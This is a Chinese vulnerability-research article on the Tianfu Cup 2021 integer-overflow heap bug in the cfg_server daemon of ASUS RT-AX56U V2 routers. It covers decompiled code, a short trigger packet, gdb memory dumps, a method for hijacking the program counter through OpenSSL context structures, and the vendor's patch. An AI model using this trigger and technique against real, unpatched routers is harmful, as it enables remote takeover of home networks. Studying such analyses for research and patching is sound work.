Analyzing the Vulnerability in ASUS Router (maybe) from TFC2021
2023-8-1 16:58:0 Author: paper.seebug.org(查看原文) 阅读量:18 收藏

作者:cq674350529
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]

前言

2021年天府杯破解大赛的设备类项目包含群晖和华硕两个项目,其中,群晖设备(DS220j)暂时无选手攻破,而华硕设备(RT-AX56U V2/热血版)则被两队选手成功拿下。笔者在前期主要关注群晖设备,也顺带看了下华硕设备,虽然发现了其他的小问题,但是未发现这个整数溢出漏洞 。目前华硕官方已发布对应的补丁,网上也有其他师傅对这个漏洞进行了详细的分析,感兴趣地可以看看 "天府杯华硕会战的围剿与反围剿""Tianfu Cup 2021 RT-AX56U RCE"。参考上面两篇文章,下文将对漏洞进行分析,并重点关注漏洞的利用思路。

环境准备

华硕RT-AX56U型号设备有两个版本:RT-AX56URT-AX56U V2/热血版,这两个版本的设备固件大体上相似,存在些许差异。该漏洞在这两个版本中均存在,由于手边有一个RT-AX56U V2型号的真实设备,故这里基于RT-AX56U_V2 3.0.0.4.386_45898固件版本进行分析。

RT-AX56U对应的固件名称为"FW_RT_AX56U_xxxxxx",RT-AX56U V2/热血版对应的固件名称为"FW_RT_AX55_xxxxxxs"。从官方下载链接来看,RT-AX56U对应的历史固件比较多,因此也可以基于该版本进行分析。

该设备支持TelnetSSH功能,开启Telnet后登录到设备,即可获取设备的root shell,便于后续的分析和调试。

华硕路由器固件遵循GPL协议,在网上可以搜索到相关代码。其中,asuswrt-merlin项目中的一些源码与华硕路由器固件中的部分代码对应,值得借鉴参考。

漏洞分析

设备上开放的部分端口信息如下。其中,cfg_server进程监听7788/tcp7788/udp端口,而漏洞就存在于该进程中。

# netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:5152            0.0.0.0:*               LISTEN      362/envrams
tcp        0      0 0.0.0.0:18017           0.0.0.0:*               LISTEN      1131/wanduck
tcp        0      0 0.0.0.0:46340           0.0.0.0:*               LISTEN      1301/miniupnpd
tcp        0      0 0.0.0.0:7788            0.0.0.0:*               LISTEN      1331/cfg_server     # <===
tcp        0      0 192.168.1.1:80          0.0.0.0:*               LISTEN      1222/httpd
udp        0      0 192.168.1.1:52738       0.0.0.0:*                           1301/miniupnpd
udp        0      0 0.0.0.0:9999            0.0.0.0:*                           1223/infosvr
udp        0      0 0.0.0.0:18018           0.0.0.0:*                           1131/wanduck
udp        0      0 0.0.0.0:7788            0.0.0.0:*                           1331/cfg_server     # <===
udp        0      0 0.0.0.0:1900            0.0.0.0:*                           1301/miniupnpd
udp        0      0 0.0.0.0:59000           0.0.0.0:*                           1159/eapd
udp        0      0 192.168.1.1:5351        0.0.0.0:*                           1301/miniupnpd

使用IDA对该程序进行分析,在cm_rcvTcpHandler()中,会调用pthread_create()创建一个新的线程来对连接进行处理。

void cm_rcvTcpHandler(int a1)
{
  // ...
  v5 = accept(*(_DWORD *)(a1 + 12), &v14, &addr_len);
  if ( v5 >= 0 )
  {
    *v2 = v5;
    if ( pthread_create(&newthread, (const pthread_attr_t *)attrp, (void *(*)(void *))cm_tcpPacketHandler, v2) )
    {
      // ...

cm_tcpPacketHandler()中,调用read_tcp_message()读取socket数据之后,再调用cm_packetProcess()进行处理。

int cm_tcpPacketHandler(int *a1)
{
  // ...
  if ( v20[0] )
  {
    // ...
    while ( 1 )
    {
      memset(v21, 0, 0x4000u);
      v10 = read_tcp_message(v2, v21, 0x4000u);
      if ( v10 <= 0 )
        break;
      if ( cm_packetProcess(v2, v21, v10, (int)v19, (int)v20, (int)&cm_ctrlBlock, (int)v18) == 1 )
        // ...

cm_packetProcess()中,其主要功能是根据接收数据的前4个字节的内容,在packetHandlers中匹配对应的opcode,匹配成功的话则调用对应的处理函数。

int cm_packetProcess(int a1, unsigned int *a2, unsigned int a3, int a4, int a5, int a6, int a7)
{
  v7 = a2;  // recv_buf
  // ...
  while ( 2 )
  {
    if ( v14 >= (int)a3 )
      return 0;
    v15 = v14 + 12;
    if ( v15 <= a3 )
    {
      v19 = *v7;  v20 = v7[1];  v21 = v7 + 3;
      v46 = v19;  v47 = v20;  v48 = *(v21 - 1);
      v22 = v19;
      // ...
      v24 = bswap32(v22);
      v28 = 0;
      while ( 1 )
      {
        v29 = &packetHandlers[v28];
        v30 = packetHandlers[v28];
        if ( v30 <= 0 )
          break;
        v28 += 2;
        if ( v30 == v24 )       // match opcode
          goto LABEL_27;
      }
      if ( *v29 < 0 )
      { /* ... */ }
      else
      {
LABEL_27:
        if ( !((int (__fastcall *)(int, int, unsigned int, unsigned int, int, int, unsigned int *, int, int))v29[1])( a1, a6, v46, v47, v48, a7, v21, a4, a5) )     // call function
        {
          // ...

经过分析,接收的消息数据包的格式为类似TLV(type-length-value)的格式,其中多了一个checksum字段,如下。

struct msg {
    uint32_t type;
    uint32_t length;    // length of value
    uint32_t checksum;  // crc32 of value
    char* value;
}

packetHandlers地址处包含的opcodefunction pointer的示例如下。通过指定数据包中的type字段,即可调用packetHandlers中对应的处理函数。

.data:000AE4A4 packetHandlers  DCD 1                   ; DATA XREF: LOAD:00011820↑o
.data:000AE4A4                                         ; cm_packetProcess+2F8↑o ...
.data:000AE4A8                 DCD cm_processREQ_KU
.data:000AE4AC                 DCD 3
.data:000AE4B0                 DCD cm_processREQ_NC
.data:000AE4B4                 DCD 5
.data:000AE4B8                 DCD cm_processREP_OK
.data:000AE4BC                 DCD 8
.data:000AE4C0                 DCD cm_processREQ_CHK
.data:000AE4C4                 DCD 0xA
.data:000AE4C8                 DCD cm_processACK_CHK
; ...
.data:000AE51C                 DCD 0x28
.data:000AE520                 DCD cm_processREQ_GROUPID
.data:000AE524                 DCD 0x2A
.data:000AE528                 DCD cm_processACK_GROUPID
; ...
.data:000AE55C                 DCD 0x3B
.data:000AE560                 DCD cm_processREQ_LEVEL
.data:000AE564                 DCD 0xFFFFFFFF

通过对上述处理函数进行分析,发现大多数函数都会先对value部分的内容进行AES解密,然后再对解密后的内容进行处理,而漏洞就存在于AES解密的过程中。以cm_processREQ_GROUPID()为例,在(1)处对checksum进行校验,通过后在(2)处会调用aes_decrypt()对数据进行解密。在aes_decrypt()中,在(3)处计算EVP_CIPHER_CTX_block_size(ctx) + tlv_length,然后将其传入malloc()中。由于未对tlv_length的值进行校验,当伪造tlv_length=0xfffffffa时,在(3)处会出现整数溢出,使得malloc()申请一块很小的内存,造成后续在循环调用EVP_DecryptUpdate()往该内存中写数据时出现堆溢出。

int cm_processREQ_GROUPID(int sock_fd, int cm_ctrlblock_ptr, int tlv_type, unsigned int tlv_length, unsigned int crc_checksum, int a6, int tlv_value_ptr)
{
  // ...  
  v11 = get_onboarding_key();
  if ( v11 )
  {
    v15 = bswap32(tlv_length);
    if ( calc_checksum(0, (char *)tlv_value_ptr, v15) != bswap32(crc_checksum) )    // (1) verify checksum
    {
      /* checksum fail */
    }
    // ...
    v22 = aes_decrypt((int)v11, tlv_value_ptr, v15, &v42);  // (2)
    // ...

char * aes_decrypt(int key, int tlv_value_ptr, unsigned int tlv_length, _DWORD *decodeMsgLen)
{
  // ...
  out_len[0] = 0;
  ctx = EVP_CIPHER_CTX_new();
  cipher = EVP_aes_256_ecb();
  v10 = (void *)EVP_DecryptInit_ex(ctx, cipher, 0, key, 0);
  if ( v10 )
  {
    *decodeMsgLen = 0;
    v11 = EVP_CIPHER_CTX_block_size(ctx) + tlv_length;  // (3) ctx size: 0x10, integer overflow
    v12 = malloc(v11);  // (4)
    v10 = v12;
    if ( v12 )
    {
      memset(v12, 0, v11);
      out = (int)v10;
      for ( i = tlv_length; ; i -= 16 )
      {
        in = tlv_value_ptr + tlv_length - i;
        if ( i <= 0x10 )
          break;
        if ( !EVP_DecryptUpdate(ctx, out, (int)out_len, in, 16) )   // (5) heap overflow
        {
          printf("%s(%d):Failed to EVP_DecryptUpdate()!!\n", "aes_decrypt", 795);
          EVP_CIPHER_CTX_free(ctx);
          free(v10);
          return 0;
        }
        out += out_len[0];
        *decodeMsgLen += out_len[0];
      }
      // ...

因此,通过构造类似如下的数据,即可触发漏洞。其中,设置checksum=0即可,因为在calc_checksum()中,当tlv_length=0xfffffffa时,由于条件不成立会直接返回,计算的结果为0

tlv = p32(0x28, ">")
tlv += p32(0xfffffffa, ">")
tlv += p32(0)
tlv += 'a' * 0x10

"""
unsigned int calc_checksum(unsigned int result, char *tlv_value_ptr, int tlv_length)
{
  char v3; // t1

  while ( --tlv_length >= 0 )  // condition fail if tlv_length is negative
  {
    v3 = *tlv_value_ptr++;
    result = CRC32_Table[(unsigned __int8)(v3 ^ result)] ^ (result >> 8);
  }
  return result;
}
"""

漏洞利用

如前所述,在packetHandlers地址处包含的处理函数中,很多都会调用cm_aesDecryptMsg()aes_decrypt()value部分的内容进行解密。经过测试,似乎只有函数cm_processREQ_GROUPID()cm_processACK_GROUPID()可以无条件触发,其他函数会依赖sessionKey来对数据进行解密或者路径上的某个条件不满足,造成无法触发漏洞。因此,这里选择通过cm_processREQ_GROUPID()来触发漏洞。

sessionKey的部分内容无法事先获取

漏洞的原理和触发很简单,但是该如何进行漏洞利用呢?根据之前的分析,漏洞是由于整数溢出造成的堆溢出,假设tlv_length=0xfffffffa,后续在循环调用EVP_DecryptUpdate()时会尝试写入长度为0xfffffffa的数据,在这个过程中会出现非法内存发访问造成程序崩溃。因此,想要进行漏洞利用,最好是在调用EVP_DecryptUpdate()或者EVP_CIPHER_CTX_free(ctx)的过程中完成。

char * aes_decrypt(int key, int tlv_value_ptr, unsigned int tlv_length, _DWORD *decodeMsgLen)
{
  // ...
  ctx = EVP_CIPHER_CTX_new();
  cipher = EVP_aes_256_ecb();
  v10 = (void *)EVP_DecryptInit_ex(ctx, cipher, 0, key, 0);
  if ( v10 )
  {
    *decodeMsgLen = 0;
    v11 = EVP_CIPHER_CTX_block_size(ctx) + tlv_length;  // (3) ctx size: 0x10, integer overflow
    v12 = malloc(v11);  // (4)
    v10 = v12;
    if ( v12 )
    {
      memset(v12, 0, v11);
      for ( i = tlv_length; ; i -= 16 )
      {
        in = tlv_value_ptr + tlv_length - i;
        if ( i <= 0x10 )
          break;
        if ( !EVP_DecryptUpdate(ctx, out, (int)out_len, in, 16) )   // (5) heap overflow    <===
        {
          printf("%s(%d):Failed to EVP_DecryptUpdate()!!\n", "aes_decrypt", 795);
          EVP_CIPHER_CTX_free(ctx);         <===
          free(v10);
          // ...

参考@CataLpa师傅文章的思路,以EVP_DecryptUpdate()为例,其部分示例代码如下。可以看到后续会调用*ctx+0x18处的函数指针,如果能覆盖ctx结构体中的cipher指针(对应*ctx),则有可能使程序流程执行到(6)处,从而劫持程序的控制流。说明:在(6)处,正常的流程是调用evp_EncryptDecryptUpdate()evp_EncryptDecryptUpdate()中也存在类似调用*ctx+0x18处的函数指针的代码。另外,如果能覆盖ctx结构体中的cipher指针,也可以使EVP_DecryptUpdate()提前返回,然后调用EVP_CIPHER_CTX_free(ctx),思路类似。

/usr/lib/libcrypto.so.1.1对应的OpenSSL版本为 1.1.1k

bool EVP_DecryptUpdate(_DWORD *ctx, char *out, int *out_len, char *in, int in_len)
{
  v5 = ctx[2];
  // ...
  v9 = *(_DWORD *)(*ctx + 4);                   // ctx->cipher->block_size
  // ...
  v12 = *ctx;
  if ( (*(_DWORD *)(*ctx + 16) & 0x100000) == 0 )
  {
    if ( (ctx[23] & 0x100) != 0 )
      return evp_EncryptDecryptUpdate(ctx, (int)out, out_len, in, in_len);
    // ...
    v17 = ctx[25];
    // ...
    v5 = evp_EncryptDecryptUpdate(ctx, (int)out, out_len, in, in_len);
    if ( v5 )
    {
      if ( v9 <= 1 || ctx[3] )
      {
        v19 = 0;
        ctx[25] = 0;
      }
      else
      {
        *out_len -= v9;
        ctx[25] = 1;
        memcpy(ctx + 27, &out[*out_len], v9);
      }
      if ( v17 )
        v19 = *out_len;
      v5 = 1;
      if ( v17 )
        *out_len = v19 + v9;
    }
    return v5;
  }
  if ( v9 == 1 )
  {
    // ...
  }
LABEL_11:
  v13 = (*(int (_DWORD *, char *, char *, int))(v12 + 0x18))(ctx, out, in, in_len); // (6) <===

通过组合发送不同的请求,以及调整构造的数据包的内容,在一定情况下可以得到如下的内存布局,其中0xb6400a60ctx结构体的指针,0xb6400a48malloc()返回的地址。可以看到,确实可以通过覆盖ctx结构体中cipher指针(这里是0xb6ef6b1c)的方式来劫持程序控制流,但问题是用什么地址来覆盖?需要有一块内容可控的地址。通过对cfg_server的其他功能进行分析,暂时未找到对应的操作来实现向.data/.bss等区域写入可控内容。因此,采用这种方式可能需要结合爆破或其他方法。

实际测试时,这种内存布局似乎也不是特别稳定 :(

(gdb) c
Continuing.
[New Thread 19239.19346]
0xb6400a60, 0xb6400a48          ; 0xb6400a60: ctx_ptr, 0xb6400a48: return value of malloc()
[Switching to Thread 19239.19346]
=> 0x1d9fc <aes_decrypt+260>:   bl      0x149f8 <[email protected]>
   0x1da00 <aes_decrypt+264>:   subs    r3, r0, #0
   0x1da04 <aes_decrypt+268>:   bne     0x1da40 <aes_decrypt+328>
   0x1da08 <aes_decrypt+272>:   ldr     r1, [pc, #312]  ; 0x1db48 <aes_decrypt+592>

Thread 4 "cfg_server" hit Breakpoint 1, 0x0001d9fc in aes_decrypt ()
(gdb) x/4wx 0xb6400a60
0xb6400a60:     0xb6ef6b1c      0x00000000      0x00000000      0x00000000
(gdb) x/20wx 0xb6400a48
0xb6400a48:     0x00000000      0x00000000      0x00000000      0x00000000
0xb6400a58:     0x00000000      0x00000095      0xb6ef6b1c      0x00000000  ; 覆盖0xb6ef6b1c为内容可控的地址
0xb6400a68:     0x00000000      0x00000000      0x00000000      0x00000000
0xb6400a78:     0x00000000      0x00000000      0x00000000      0x00000000
0xb6400a88:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/20wx 0xb6ef6b1c
0xb6ef6b1c:     0x000001aa      0x00000010      0x00000020      0x00000000
0xb6ef6b2c:     0x00001001      0xb6e27480      0xb6e27710      0x00000000
0xb6ef6b3c:     0x00000100      0x00000000      0x00000000      0x00000000
0xb6ef6b4c:     0x00000000      0x00000383      0x00000001      0x00000018
0xb6ef6b5c:     0x0000000c      0x00301c77      0xb6e28fac      0xb6e28b40

后来又请教了@Yimi Hu师傅,学到了另一种更简单也更稳定的思路。假设还是尝试覆盖ctx结构体中的cipher指针,通过组合发送不同的请求,以及调整构造的数据包内容,可得到内存布局如下。测试发现,continue后程序崩溃,PC寄存器的内容似乎被覆盖了,但与发送的数据不一致。

(gdb) c                                                                             
Continuing.                                                                         
[New Thread 20697.23444]                                                            
0xb6602040, 0xb6600a48          ; 0xb6602040: ctx_ptr, 0xb6600a48: return value of malloc()
[Switching to Thread 20697.23444]                                                   
=> 0x1d9fc <aes_decrypt+260>:   bl      0x149f8 <[email protected]>             
   0x1da00 <aes_decrypt+264>:   subs    r3, r0, #0                                  
   0x1da04 <aes_decrypt+268>:   bne     0x1da40 <aes_decrypt+328>                   
   0x1da08 <aes_decrypt+272>:   ldr     r1, [pc, #312]  ; 0x1db48 <aes_decrypt+592> 

Thread 4 "cfg_server" hit Breakpoint 1, 0x0001d9fc in aes_decrypt ()                
(gdb) disable 1                                                                     
(gdb) c                                                                             
Continuing.                                                                         
[New Thread 20697.23558]                                                            

Thread 4 "cfg_server" received signal SIGSEGV, Segmentation fault.                  
=> 0x325e5d34:  Error while running hook_stop:                                      
Cannot access memory at address 0x325e5d34                                          
0x325e5d34 in ?? ()
(gdb) bt
#0  0x325e5d34 in ?? ()
#1  0xb6e3f760 in ?? () from target:/usr/lib/libcrypto.so.1.1

查看崩溃处的代码,示例如下。可以看到,PC寄存器(对应R3寄存器)的值来自于*(v11+0xF8),而v11来自于*(_DWORD *)(ctx + 96),即PC=*(*(_DWORD *)(ctx + 96)+0xF8)

int __fastcall do_cipher(int ctx, int out, int in, unsigned int inl)
{
  v8 = EVP_CIPHER_CTX_block_size(ctx);
  v9 = EVP_CIPHER_CTX_get_cipher_data(ctx);     // (6)
  if ( v8 <= inl )
  {
    v10 = inl - v8;
    v11 = v9;
    v12 = in;
    do
    {
      v13 = v12;
      v12 += v8;
      /* .text:B6E3F748 LDR             R3, [R7,#0xF8]
         .text:B6E3F74C MOV             R1, R5
         .text:B6E3F750 MOV             R0, R4
         .text:B6E3F754 MOV             R2, R7
         .text:B6E3F758 ADD             R4, R4, R6
         .text:B6E3F75C BLX             R3
         .text:B6E3F760 RSB             R3, R10, R4
      */
      (*(void (__fastcall **)(int, int, int))(v11 + 0xF8))(v13, out, v11);  // (7) call AES_decrypt()
      out += v8;
    }
    while ( v10 >= v12 - in );
  }
  return 1;
}

int EVP_CIPHER_CTX_get_cipher_data(int ctx)
{
  return *(_DWORD *)(ctx + 96);
}

对应地址处的内容如下。可以发现,在尝试从地址0xb6600a48溢出到0xb6602040的过程中,已经能覆盖地址0xb6601380处的内容了,即劫持了PC寄存器,但PC寄存器的值与预期(0x30303030)不一致。通过查看解密的内容,发现从0xb6600fe8开始,解密的内容与预期的就不一致了,猜测可能是在0xb6600fd8处覆盖了和解密相关的数据如密钥。

;0xb6602040, 0xb6600a48         ; 0xb6602040: ctx_ptr, 0xb6600a48: return value of malloc()
(gdb) x/4wx 0xb6602040+96       ; ctx + 96
0xb66020a0:     0xb6601288      0x00000001      0x0000000f      0xc53430e9
(gdb) x/4wx 0xb6601288+0xf8     ; v11 + 0xF8
0xb6601380:     0x325e5d36      0x571e1e57      0x00000000      0x00000031
(gdb) x/20wx 0xb6600fc8
0xb6600fc8:     0x30303030      0x30303030      0x30303030      0x30303030
0xb6600fd8:     0x30303030      0x30303030      0x30303030      0x30303030
0xb6600fe8:     0x8c8b045e      0xc7ea483a      0xa382ee1b      0xc3ad7553  ; 解密数据与预期不一致
0xb6600ff8:     0xf0e37788      0x927bccde      0xe6fb83e2      0x367ff9f7
0xb6601008:     0xf0e37788      0x927bccde      0xe6fb83e2      0x367ff9f7

解决的方式很简单,只要在发送的原始数据包中包含相应的内容,使得某些地址处覆盖前后的内容一致,即可保证解密后的数据和预期的一致。具体地,在(7)处正常是调用AES_decrypt(),第3个参数即v11aes_key_st结构体,其与解密密钥相关,因此需要保证0xb6601288地址开始处的一段内容在覆盖前后保持不变。而上面提到的0xb6600fd8地址处,也有一小部分数据(暂时未理解其用途 )会影响解密的结果,也需要保持不变。

不同的内存布局可能存在细微差异。经测试,上述内存布局比较稳定。

void AES_decrypt(const unsigned char *in, unsigned char *out, const AES_KEY *key);

# define AES_MAXNR 14
struct aes_key_st {
    unsigned int rd_key[4 * (AES_MAXNR + 1)];
    int rounds;
};
typedef struct aes_key_st AES_KEY;

aes_key_st结构体的原始内容可以dump出来,或者参考AES_set_decrypt_key()自行生成。

之后,即可在(7)处正常劫持PC,同时第一个参数指向用户发送的内容,很容易实现代码执行的目的。

补丁分析

在版本RT-AX56U_V2 3.0.0.4.386_49559中,在cm_packetProcess()中增加了对数据包中tlv_length字段的校验,如下。可以看到,在开始部分,会先对接收数据包的长度recv_data_len和数据包中的tlv_length字段之间的关系进行校验。而在调用read_tcp_message()读取数据包时,每次最多读取0x4000字节,故该校验可保证tlv_length字段的值不会太大,不会造成后续出现整数溢出问题。

int cm_packetProcess(int a1, unsigned int *recv_buf, unsigned int recv_data_len, int a4, int a5, int a6, int a7)
{
  v7 = recv_buf;
  // ...
  v14 = 0;
  while ( 2 )
  {
    if ( v14 >= (int)recv_data_len )
      return 0;
    v15 = v14 + 12;
    if ( v15 <= recv_data_len )
    {
      v45 = *v7;        // type
      v46 = v7[1];      // length
      v47 = v7[2];      // checksum
      if ( recv_data_len - 12 != bswap32(v46) )  // check tlv_length
      {
        // checking length error
      }
      // ...

小结

本文基于RT-AX56U V2型号设备,对2021年天府杯破解大赛华硕设备中的漏洞进行了分析,并重点介绍了漏洞利用的思路。在尝试进行漏洞利用的过程中,一方面需要对目标设备的功能比较熟悉;另一方面,在没有思路的时候多尝试(如进行fuzz)和多调试,可能会有意向不到的结果。另外,文章中给出的思路是基于@Yimi Hu@CataLpa两位师傅的文章,实际比赛中采用的利用思路不得而知,再次感谢@Yimi Hu@CataLpa的帮助。

相关链接


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/2098/


文章来源: https://paper.seebug.org/2098/
如有侵权请联系:admin#unsafe.sh